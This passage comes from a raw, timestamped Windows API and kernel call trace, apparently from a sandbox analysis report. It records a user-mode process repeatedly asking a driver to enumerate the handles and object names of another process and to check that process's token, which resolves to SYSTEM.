PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.920] ObReferenceObjectByHandle (in: Handle=0x874, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037eecc0, HandleInformation=0x0) returned 0x0 [0131.920] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.920] PsReleaseProcessExitSynchronization () returned 0x2 [0131.920] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.920] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.920] ObfDereferenceObject (Object=0xfffffa80037eecc0) returned 0x5 [0131.921] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.921] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.921] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x338) returned 0xc0 [0131.921] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0131.921] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800312bb30, HandleInformation=0x0) returned 0x0 [0131.921] ObOpenObjectByPointer (in: Object=0xfffffa800312bb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0131.921] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd0 [0131.921] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa8003c70540 | out: TokenHandle=0xfffffa8003c70540*=0xc8) returned 0x0 [0131.921] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0131.921] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.921] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0131.921] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0131.923] CloseHandle (hObject=0xc8) returned 1 [0131.923] CloseHandle (hObject=0xc0) returned 1 [0131.923] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.923] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0131.923] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.923] PsAcquireProcessExitSynchronization () returned 0x0 [0131.923] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.923] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031589b0, HandleInformation=0x0) returned 0x0 [0131.923] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.923] PsReleaseProcessExitSynchronization () returned 0x2 [0131.923] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.923] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.923] ObfDereferenceObject (Object=0xfffffa80031589b0) returned 0x1 [0131.923] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.923] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.923] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.923] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.923] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.923] PsAcquireProcessExitSynchronization () returned 0x0 [0131.923] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.923] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031657d0, HandleInformation=0x0) returned 0x0 [0131.923] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.924] PsReleaseProcessExitSynchronization () returned 0x2 [0131.924] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.924] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.924] ObfDereferenceObject (Object=0xfffffa80031657d0) returned 0x1 [0131.924] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.924] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.924] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0131.924] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.924] PsAcquireProcessExitSynchronization () returned 0x0 [0131.924] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.924] ObReferenceObjectByHandle (in: Handle=0x110, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0131.924] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.924] PsReleaseProcessExitSynchronization () returned 0x2 [0131.924] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.924] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.924] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0131.924] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.924] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.924] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0131.924] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.924] PsAcquireProcessExitSynchronization () returned 0x0 [0131.924] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.924] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0131.924] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.924] PsReleaseProcessExitSynchronization () returned 0x2 [0131.924] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.924] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.924] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0131.924] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.924] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.924] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0131.924] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.925] PsAcquireProcessExitSynchronization () returned 0x0 [0131.925] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.925] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003181ea0, HandleInformation=0x0) returned 0x0 [0131.925] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.925] PsReleaseProcessExitSynchronization () returned 0x2 [0131.925] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.925] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.925] ObfDereferenceObject (Object=0xfffffa8003181ea0) returned 0x1 [0131.925] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.925] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.925] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.925] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0131.925] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.925] PsAcquireProcessExitSynchronization () returned 0x0 [0131.925] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.925] ObReferenceObjectByHandle (in: Handle=0x180, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003170460, HandleInformation=0x0) returned 0x0 [0131.925] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.925] PsReleaseProcessExitSynchronization () returned 0x2 [0131.925] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.925] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.925] ObfDereferenceObject (Object=0xfffffa8003170460) returned 0x1 [0131.925] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.925] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.925] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.925] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.925] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.925] PsAcquireProcessExitSynchronization () returned 0x0 [0131.925] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.925] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031a2070, HandleInformation=0x0) returned 0x0 [0131.925] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.925] PsReleaseProcessExitSynchronization () returned 0x2 [0131.926] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.926] ObQueryNameString (in: Object=0xfffffa80031a2070, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.926] ObfDereferenceObject (Object=0xfffffa80031a2070) returned 0x1 [0131.926] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.926] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.926] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.926] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0131.926] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.926] PsAcquireProcessExitSynchronization () returned 0x0 [0131.926] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.926] ObReferenceObjectByHandle (in: Handle=0x298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031a6600, HandleInformation=0x0) returned 0x0 [0131.926] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.926] PsReleaseProcessExitSynchronization () returned 0x2 [0131.926] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.926] ObQueryNameString (in: Object=0xfffffa80031a6600, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.926] ObfDereferenceObject (Object=0xfffffa80031a6600) returned 0x3 [0131.926] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.926] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.926] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.926] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0131.926] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.926] PsAcquireProcessExitSynchronization () returned 0x0 [0131.926] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.927] ObReferenceObjectByHandle (in: Handle=0x2c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031ab710, HandleInformation=0x0) returned 0x0 [0131.927] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.927] PsReleaseProcessExitSynchronization () returned 0x2 [0131.927] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.927] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.927] ObfDereferenceObject (Object=0xfffffa80031ab710) returned 0x1 [0131.927] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.927] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.927] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.927] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0131.927] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.927] PsAcquireProcessExitSynchronization () returned 0x0 [0131.927] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.927] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031ea850, HandleInformation=0x0) returned 0x0 [0131.927] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.927] PsReleaseProcessExitSynchronization () returned 0x2 [0131.927] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.927] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.927] ObfDereferenceObject (Object=0xfffffa80031ea850) returned 0x1 [0131.927] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.927] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.927] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.927] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0131.927] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.927] PsAcquireProcessExitSynchronization () returned 0x0 [0131.927] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.927] ObReferenceObjectByHandle (in: Handle=0x46c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003409980, HandleInformation=0x0) returned 0x0 [0131.927] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.927] PsReleaseProcessExitSynchronization () returned 0x2 [0131.927] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.927] ObQueryNameString (in: Object=0xfffffa8003409980, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.928] ObfDereferenceObject (Object=0xfffffa8003409980) returned 0x1 [0131.928] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.928] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.928] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.928] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0131.928] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.928] PsAcquireProcessExitSynchronization () returned 0x0 [0131.928] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.928] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80034096e0, HandleInformation=0x0) returned 0x0 [0131.928] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.928] PsReleaseProcessExitSynchronization () returned 0x2 [0131.928] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.928] ObQueryNameString (in: Object=0xfffffa80034096e0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.928] ObfDereferenceObject (Object=0xfffffa80034096e0) returned 0x2 [0131.928] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.928] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.928] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.928] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0131.928] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.928] PsAcquireProcessExitSynchronization () returned 0x0 [0131.928] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.928] ObReferenceObjectByHandle (in: Handle=0x474, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003409590, HandleInformation=0x0) returned 0x0 [0131.928] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.928] PsReleaseProcessExitSynchronization () returned 0x2 [0131.928] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.928] ObQueryNameString (in: Object=0xfffffa8003409590, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.928] ObfDereferenceObject (Object=0xfffffa8003409590) returned 0x1 [0131.928] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.929] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.929] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.929] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0131.929] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.929] PsAcquireProcessExitSynchronization () returned 0x0 [0131.929] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.929] ObReferenceObjectByHandle (in: Handle=0x588, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0131.929] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.929] 